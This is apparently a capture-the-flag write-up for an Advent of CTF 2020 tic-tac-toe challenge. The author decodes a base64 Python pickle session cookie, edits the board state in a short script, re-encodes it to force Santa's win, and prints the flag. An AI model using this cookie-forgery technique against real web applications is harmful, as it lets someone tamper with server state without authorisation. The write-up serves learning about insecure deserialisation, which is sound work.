Write-Up Advent of CTF 2020 Challenge 20
Overview
The NOVI University Of Applied Sciences is offering an Advent CTF challenge for December 2020.
The CTF is created by our community member of the Hackdewereld.nl and Chief Lecturer for Cyber Security at the NOVI University, Arjen Wiersma. If you want to participate in these CTF challenges, you can create an account on the website https://www.adventofctf.com
.
Challenge 20
- Description: To pass the time until Christmas the elves challenge Santa to a game of tic-tac-toe. Santa plays X, can you make him win?
- 2000 Points
It seems that we have to play a tic-tac-toe game with Santa. Can we win the game? Let’s find out! We visit the challenge URL https://20.adventofctf.com
, and we are ending up on this web page with a tic-tac-toe game, not surprising huh?
The game was already started. It’s our turn, I can place the O
the right top box or on the left bottom. In both scenarios, we will win the game. Because then we have three in a row. How the game tic-tac-toe works. Let’s try.
Yup, we won the game. Ok, that was easy. But, we have to do something with it, there is no way that Santa will win this game unless we adjust the game a little bit. Let’s switch to Burp Suite and check the requests and the cookies.
At the start of the game, this is our cookie.
gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKWAAAAABxC1gEAAAAc2FuZXEMiHUu
After decoding this base64 cookie, we got this as the cookie value:
..}q.(X….boardq.]q.(]q.(X….Oq.h.Ne]q.(h.X….Xq.h.e]q.(h.h.h.eeX….turnq.h.X….finishedq.X….winnerqh.X….saneq..u.
After we have won the game, our cookie is changed to this:
gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhoBGgGaAZlZVgEAAAAdHVybnEIaAZYCAAAAGZpbmlzaGVkcQmIWAYAAAB3aW5uZXJxCmgEWAQAAABzYW5lcQuIdS4=
It seems, that we have to do something with this cookie. Let’s take the cookie information to Google and let’s see what we can find. We can see that the cookie is ending with a dot (.
). I’ve used this information to search, and I found this website: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html.
It has something to do with serialized data. According to the information on that website, we can manipulate this data. For that, we can use Pickle
. There is a Python Library for Pickle
. Also, that webpage is giving is the information that this module can be used for serializing and de-serializing data in a Python object. Pickling
is a process where a Python object is converted into a byte stream and unpickling
is the inverse operation, whereby a byte stream (from a binary file or bytes-like object) is converted back into an object hierarchy.
So, the uncoded Base64 cookie shows us the pickling value (or serialized value). We need to do a de-serialization of this data so that we can modify the cookie and serialize this data back with the use of the Pickle
Python Library.
I’ve written a Python script for de-serialize the data. The cookie is now human readable.
1
2
3
4
5
6
7
8
9
import pickle
import base64
def cookie(cookie):
cookie = base64.b64decode(cookie)
cookie = pickle.loads(cookie)
print(cookie)
cookie("gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKWAAAAABxC1gEAAAAc2FuZXEMiHUu")
The output from the first cookie.
{'board': [['O', 'O', None], ['O', 'X', 'X'], [None, 'X', 'X']], 'turn': 'O', 'finished': False, 'winner': '', 'sane': True}
We see now, that this cookie has information about the game. And, it also determines the starting position of the game. The de-serialization of the winning cookie has this information:
{'board': [['O', 'O', None], ['O', 'X', 'X'], ['O', 'X', 'X']], 'turn': 'X', 'finished': True, 'winner': 'O', 'sane': True}
We can make this easy, by only modifying the winning cookie and we can grab the flag. After trying multiple times to modify the cookie, I’m only receiving an Internal Server Error
, after applying the new cookie on the website. It turns out, that the winner is calculated based on the state of the board. So, there is no need to modify the 'turn': 'X', 'finished': True, 'winner': 'O', 'sane': True}
part. Only the board
needs to be modified. After some time scripting, I came with this script as the solution to this challenge.
1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import base64
def NewCookie(cookie):
payload = base64.b64decode(cookie)
payload = pickle.loads(payload)
payload["board"] = [['O', 'O', 'X'], ['O', 'None', 'X'], ['None', 'X', 'X']]
payload = pickle.dumps(payload)
newcookie = base64.b64encode(payload)
print(newcookie)
NewCookie('gASVWgAAAAAAAAB9lCiMBWJvYXJklF2UKF2UKIwBT5RoBE5lXZQoaASMAViUaAZlXZQoTmgGaAZlZYwEdHVybpRoBIwIZmluaXNoZWSUiYwGd2lubmVylIwAlIwEc2FuZZSIdS4=')
After running this script, we get this new cookie:
gASVYQAAAAAAAAB9lCiMBWJvYXJklF2UKF2UKIwBT5RoBIwBWJRlXZQoaASMBE5vbmWUaAVlXZQoaAdoBWgFZWWMBHR1cm6UaASMCGZpbmlzaGVklImMBndpbm5lcpSMAJSMBHNhbmWUiHUu
After replacing the current cookie, with the new cookie, the winner is calculated to X
. The flag is now visible: NOVI{p1ckle_r1ck}
.
Thanks for reading!